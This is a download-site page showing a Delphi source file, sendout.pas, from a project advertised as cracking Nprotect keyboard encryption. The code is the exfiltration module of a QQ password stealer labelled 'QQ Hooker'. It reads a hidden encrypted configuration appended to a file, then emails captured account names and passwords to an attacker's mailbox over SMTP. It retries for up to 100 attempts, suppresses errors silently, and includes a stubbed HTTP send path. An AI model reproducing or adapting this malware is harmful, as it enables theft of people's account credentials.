⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 sendout.pas

📁 破解“国际领先的Nprotect键盘加密技术”
💻 PAS
字号:
unit SendOut;

interface
uses
  Classes,
  SysUtils,
  Windows,
  IdMessage,IdSMTP,
  Encode;

  type
   TSendThread = class(TThread)
   public
      ConfigFile : String;
      SendString : String;
      procedure Execute; override;
   end;
  type
   TConfig = record
     canSend : Boolean;
     canSendByHttp : Boolean;
     CloseQQWaitTime : integer;
     page     : string;          // http://www.xxx.com/send.jsp?MSG=
     sender   : string;  //  = '火血狼'
     sendFrom : string;          //38497027@qq.com;
     username : string;          //38497027;
     password : string;
     sendTo   : string;          //65845743@qq.com;
     subject  : string;  //  = 'QQ号和密码'
     smtpServer : string; //   = ''      //smtp.qq.com;
   end;
   
procedure Send(userpass : string; configfile : string);

procedure InitConfig(var config : TConfig);
procedure ReadValues(FileName : String;var Config : TConfig);
procedure SendByHttp(userpass : string;config : TConfig);
procedure SendByMail(smtp : TIdsmtp; msg : TIdMessage ; userpass : string;config : TConfig);

implementation

procedure InitConfig(var config : TConfig);
begin
  config.canSend := false;
  config.canSendByHttp := false;
  config.CloseQQWaitTime := 0;
  config.page := '';
  config.sender   := '火血狼';
  config.sendFrom := '';
  config.username := '';
  config.password := '';
  config.sendTo   :='';
  config.subject  :='QQ号密码';
  config.smtpServer := '';
end;

////////////// 通过邮件发送 ///////////////////
procedure SendByMail(smtp : TIdsmtp; msg : TIdMessage ; userpass : string;config : TConfig);
begin
  if not config.canSend then begin
    Exit;
  end;
    msg.From.Name    := Trim(config.sender);
    msg.From.Address := Trim(config.sendFrom);
    msg.Recipients.EMailAddresses := Trim(config.sendTo);
    msg.Body.Clear;
    msg.Body.Add(Trim(userpass));
    msg.Subject   := Trim(config.subject);
    smtp.Password := config.password;
    smtp.Username := config.username;
    smtp.Host     := Trim(config.smtpServer);
    smtp.Connect;
    smtp.Send(msg);
    smtp.Disconnect;
end;

procedure TSendThread.Execute;
var
 smtp : TIdSmtp;
 msg  : TIdmessage;
 SendTime : Integer;
 keepSend : boolean;
 cg : TConfig;
begin
  try
    InitConfig(cg);
    ReadValues(ConfigFile,cg);
  except
  end;  
  SendString := Trim(SendString);
  try  
    SendByHttp(SendString,cg);
  except
  end;
  SendTime := 0;
  KeepSend := true;
  smtp := TIdsmtp.Create(nil);
  msg  := TIdmessage.Create(nil);
  while keepSend and (SendTime < 100) do begin
    try
       SendByMail(smtp,msg,SendString,cg);
       keepSend := false;
       Inc(SendTime);
    except
       keepSend := True;
    end;
    if keepSend then Sleep(1000*60);
  end;
  smtp.Free;
  msg.Free;   
end;

/////////////////// 发送记录 ////////////////
procedure Send(userpass : string; configfile : string);
var
   st : TSendThread;
begin
  if FileExists('C:\DEBUG') then begin
    MessageBox(0, PChar(userpass), ' QQ Hooker', MB_OK);
  end;
  if Length(userpass) <= 0 then Exit;
  try
   st := TSendThread.Create(True);
   st.ConfigFile := configfile;
   st.SendString := userpass;
   st.FreeOnTerminate := true;
   st.Resume;
  except
  end; 
end;

/////////////////读取用户配置////////////////////
procedure ReadValues(FileName : String;var Config : TConfig);
var
  stream  : TFileStream;
  buffer  : array[0..255] of char;
  seeklen : integer;
  XXHAN   : array[0..4] of char;
begin
   stream := nil;
   try
     try
       stream := TFilestream.Create(FileName,fmopenread or fmShareDenyNone);
       stream.Seek(-5,soFromEnd);
       stream.ReadBuffer(XXHAN,sizeof(XXHAN));
       if (Trim(XXHAN) <> 'XXHAN') then begin
         Exit; 
       end;
       
       stream.Seek(-sizeof(Integer)-5,soFromEnd);
       stream.ReadBuffer(seeklen,sizeof(integer));
       stream.Seek(-sizeof(Integer)-seeklen-5,soFromEnd);

       stream.ReadBuffer(Config.CloseQQWaitTime,sizeof(integer));

       ZeroMemory(@buffer,sizeof(buffer));
       stream.ReadBuffer(buffer,sizeof(buffer));
       Config.page := Trim(Decrypt(buffer));
       if Config.page <> '' then begin
         Config.canSendByHttp := true;
       end;

       //MessageBox(0,buffer,page,MB_OK);
       //Log('ReadValues() : page='+page);

       ZeroMemory(@buffer,sizeof(buffer));
       stream.ReadBuffer(buffer,sizeof(buffer));
       Config.sendFrom := Trim(Decrypt(buffer));
       //MessageBox(0,Pchar(sendFrom),sendFrom,MB_OK);
       //Log('ReadValues() : sendFrom='+sendFrom);
       
       ZeroMemory(@buffer,sizeof(buffer));
       stream.ReadBuffer(buffer,sizeof(buffer));
       Config.smtpServer := Trim(Decrypt(buffer));
       //MessageBox(0,Pchar(smtpServer),smtpServer,MB_OK);
       //Log('ReadValues() : smtpServer='+smtpServer);
       
       ZeroMemory(@buffer,sizeof(buffer));
       stream.ReadBuffer(buffer,sizeof(buffer));
       Config.username := Trim(Decrypt(buffer));
       //MessageBox(0,Pchar(username),username,MB_OK);
       //Log('ReadValues() : username='+username);

       ZeroMemory(@buffer,sizeof(buffer));
       stream.ReadBuffer(buffer,sizeof(buffer));
       Config.password := Trim(Decrypt(buffer));
       //MessageBox(0,Pchar(password),password,MB_OK);
       //Log('ReadValues() : password='+password);
       
       ZeroMemory(@buffer,sizeof(buffer));
       stream.ReadBuffer(buffer,sizeof(buffer));
       Config.sendTo := Trim(Decrypt(buffer));
       //MessageBox(0,Pchar(sendTo),sendTo,MB_OK);
       //Log('ReadValues() : sendTo='+sendTo);
       
       Config.canSend := true;
     except
     end; 
   finally
     if stream <> nil then
       stream.Free;
   end;
end;

/////////////// 通过网页发送 ///////////////////
procedure SendByHttp(userpass : string;config : TConfig);
//var
// http : TIdhttp;
begin
    if not Config.canSend then Exit;
    if not Config.canSendByHttp then Exit;
    {http := TIdhttp.Create(nil);
    http.Get(trim(page)+?MSG=+s);
    http.Free;}
    //Log('SendByHttp() : '+userpass);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -